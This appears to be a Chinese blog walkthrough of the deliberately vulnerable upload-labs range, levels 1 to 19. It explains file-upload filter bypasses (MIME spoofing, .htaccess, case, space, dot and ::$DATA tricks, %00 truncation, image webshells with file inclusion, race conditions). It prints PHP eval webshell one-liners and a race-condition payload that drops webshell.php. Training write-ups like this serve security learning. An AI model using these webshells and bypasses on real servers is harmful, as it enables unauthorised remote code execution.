当前位置: 首页 > article >正文

upload-labs(1-19关)通关攻略

Pass-01

本关思路:删除前端js校验

进入第一关环境

桌面新建一个php文件,命名为1.php

<?php  @eval($_POST[a]);?>

我们上传此文件,发现不允许上传,且页面没有变化,说明前端进行了拦截

这时我们打开 F12 ,小箭头定位到上传框,发现上面有一个检查的方法,删除后再次上传试试

这样我们就能上传成功

鼠标右键在新标签页打开图像,测试能否使用菜刀连接,也可以使用下面的方法检测

Pass-02

本关思路:抓包 修改文件类型

首先查看源码

选择文件,使用bp抓取上传的请求包

将选中位置的数据类型修改为 image/jpeg ,放行,然后返回浏览器

这样就能上传成功了

鼠标右键在新标签页打开图像,测试能否使用菜刀连接,也可以使用下面的方法检测

Pass-03

本关思路:上传同类型后缀名.php3

查看源码

上传此文件

上传成功,新建标签页打开图像,检查能否连接

Pass-04

本关思路:上传.htaccess配置文件

首先创建一个.htaccess文件(文件名就为.htaccess)内容如下

AddType application/x-httpd-php .png

查看源码

意思就是如果文件里面有一个后缀为.png的文件,他就会被解析成.php。先上传一个1.png文件,然后上传这个.htaccess,再访问1.png

Pass-05

本关思路:大小写绕过

查看源码,发现这一关没有对大小写进行限制

将后缀名中的一个 p 大写,改为1.Php,上传文件

上传成功,再次访问1.Php

Pass-06

本关思路:抓包 空格绕过

查看源码,发现这一关没有收尾去空限制

我们在文件后面加上空格,但由于windows特性,文件名后空格会被直接删除,不能直接上传.php后加空格,所以我们要用burp抓包然后再添加空格

点击放行,上传成功

再次访问1.php

Pass-07

本关思路:抓包点绕过

查看源码,发现少了删除文件末尾的点

和第六关一样,windows文件后缀名不能加’.',一样使用burp抓包然后后缀加一个点

点击放行,上传成功

再次访问1.php

Pass-08

本关思路:抓包 ::$DATA绕过

查看源码

发现少了去除字符串,和前面关卡一样,在burp中抓包在文件名后加::$DATA

点击放行,上传成功

再次访问1.php

Pass-09

本关思路:抓包 点空格点绕过

查看源码

发现没有循环验证,也就是说转换大小写去除空格什么的它只验证一次,在burp中抓包在文件名后加:. .

点击放行,上传成功

再次访问1.php

Pass-10

本关思路:重复写绕过

查看源码

发现没有了前几关的验证方式,而且是一个黑名单验证,意思是如果上传了它这些后缀的文件,就会把后缀名删除,没了后缀名也就无法正常解析,不过不需要着急,这关同样只验证一次,所以我们只需要把后缀改为.pphphp,它删除掉中间的php后后缀仍然为php

点击上传,发现上传成功

鼠标右键在新标签页打开图像

Pass-11

本关思路:get型 %00截断绕过

查看源码

很明显是一个白名单上传,它只允许上传它给定的后缀名,这里我的环境出现问题不能使用,替换的靶场为ctfhub上的00截断:CTFHub

进入环境

上传1.png文件,使用bp抓取上传的请求包

其中 /var/www/html/ 为网站的根目录,按下图修改

点击放行,上传成功

蚁剑连接

双击打开,就能获得flag

Pass-12

本关思路:post型 %00截断绕过

查看源码

与上一关相比,发现接受值变成了post,那么思路就和第十一关一样

抓包试试

post方式不会自行解码,所以要对%00进行urldecode编码,burp可以进行快捷编码,选中%00右键convert selection即可进行快速url编码

后面操作和前一关一样

Pass-13

本关思路:文件包含图片马绕过

根据提示可知本关需要文件包含漏洞+图片马组合使用

图片马单靠自己没用,需要一个有文件包含漏洞的php文件将图片马包含到自己的页面上

新建一个1.jpg文件,在第一行添加.gif的开头:GIF89a,后面是一句话木马

上传此文件

上传成功,在新标签页打开图像,发现后缀变为.gif

此时需要搭配文件包含漏洞使用

访问 include.php

会发现提交方式为:get型的file,直接在网址后面加以下代码

?file=upload/8420241219180851.gif

测试连接

Pass-14

本关思路:文件包含图片马绕过

这一关与上一关流程一样,上传1.jpg,在新标签页打开图像

我们也可以尝试蚁剑连接

测试连接--连接成功

Pass-15

本关思路:文件包含图片马绕过

同13,14关

Pass-16

本关思路:文件包含二次渲染专用图绕过

尝试和之前一样的操作:上传1.jpg文件

报错,查看源码

imagecreatefromjpeg()函数,二次渲染是由Gif文件或 URL创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败

这里我们必须使用二次渲染专用图:文件上传之二次渲染(专用图).zip - 蓝奏云

上传解压后的.gif文件,发现上传成功

鼠标右键在新标签页打开图像

复制 upload/14713.gif ,访问 include.php ,在网址后面加上以下代码

?file=upload/14713.gif

我们在蚁剑连接前首先要得到一句话木马的连接密码:在记事本中打开二次渲染专用图22.gif

<?php @eval($_POST['zoe']);?>

尝试蚁剑连接

连接成功

Pass-17

本关思路:抓包 爆破条件竞争

查看源码

发现如果上传的符合它的白名单,那就进行重命名,如果不符合,直接删除!解析的机会都没有,这让我想到了条件竞争,如果我在它删除之前就访问这个文件,他就不会删除了

上传一个php文件,然后burp抓包发到爆破模块

不添加payload位置

开始攻击,然后用浏览器一直访问1.php,按F5一直刷新,如果在上传的瞬间访问到了,它就无法删除

将1.php改为以下内容

<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

上传这个php文件,重复bp抓包后的流程,就能得到一个webshell.php文件

Pass-18

本关思路:上传二次渲染的图片马 文件包含漏洞

查看源码

发现和第17关的差距是,这关还检测了后缀名,不能直接上传php文件,所以这关要上传图片马,其他步骤和17关类似。访问图片时使用文件包含

我们上传图片马 22.gif,使用bp抓包,发送到攻击模块,和17关一样的操作,开始攻击

然后用浏览器一直访问22.gif,按F5一直刷新,如果在上传的瞬间访问到了,它就无法删除

Pass-19

本关思路:文件名命名规范

看到19关的页面,多了一个保存名称,没有对上传的文件做判断,只对用户输入的文件名做判断

查看源码

有move_uploaded_file()这样一个函数,它有一个特性,会忽略到文件末尾的/.

直接上传1.php,保存名称为2.php,抓包,在末尾加上/.

点击放行,上传成功,右键在新标签页打开图像


http://www.kler.cn/a/444035.html

相关文章:

  • iterm2 focus时灰色蒙层出现的解决办法
  • Ubuntu vi(vim)编辑器配置一键补全main函数
  • Java基于SSM框架的无中介租房系统小程序【附源码、文档】
  • 基于微信小程序的乡村旅游系统
  • 拆解一个微型气泵了解工作原理
  • node express服务器配置orm框架sequilize
  • Vue零基础教程|从前端框架到GIS开发系列课程(六)组合式API
  • string
  • 【Web前端】Web API:构建Web应用核心
  • 6UCPCI板卡设计方案:8-基于双TMS320C6678 + XC7K420T的6U CPCI Express高速数据处理平台
  • docker拉取rabbitmq镜像安装延迟队列插件
  • 初学stm32 --- 系统时钟配置
  • 从零搭建CBAM、SENet、STN、transformer、mobile_vit、simple_vit、vit模型(Pytorch代码示例)
  • 多种机器学习模型预测房价
  • 力扣--LCR 129.字母迷宫
  • Go怎么做性能优化工具篇之pprof
  • C# 文件系统I/O操作--File类与FileInfo类
  • 【Tomcat】第三站:注解
  • 两款轻量级数据库SQLite 和 TinyDB,简单!实用!
  • thinkphp5验证码captcha无法显示
  • 字符串类算法
  • Connection lease request time out 问题分析
  • 基于java的CRM客户关系管理系统的设计与实现
  • 计算机必背单词——云计算和虚拟化
  • 数据结构:双向带头循环链表的增删查改
  • 使用Maven打包javaagent.jar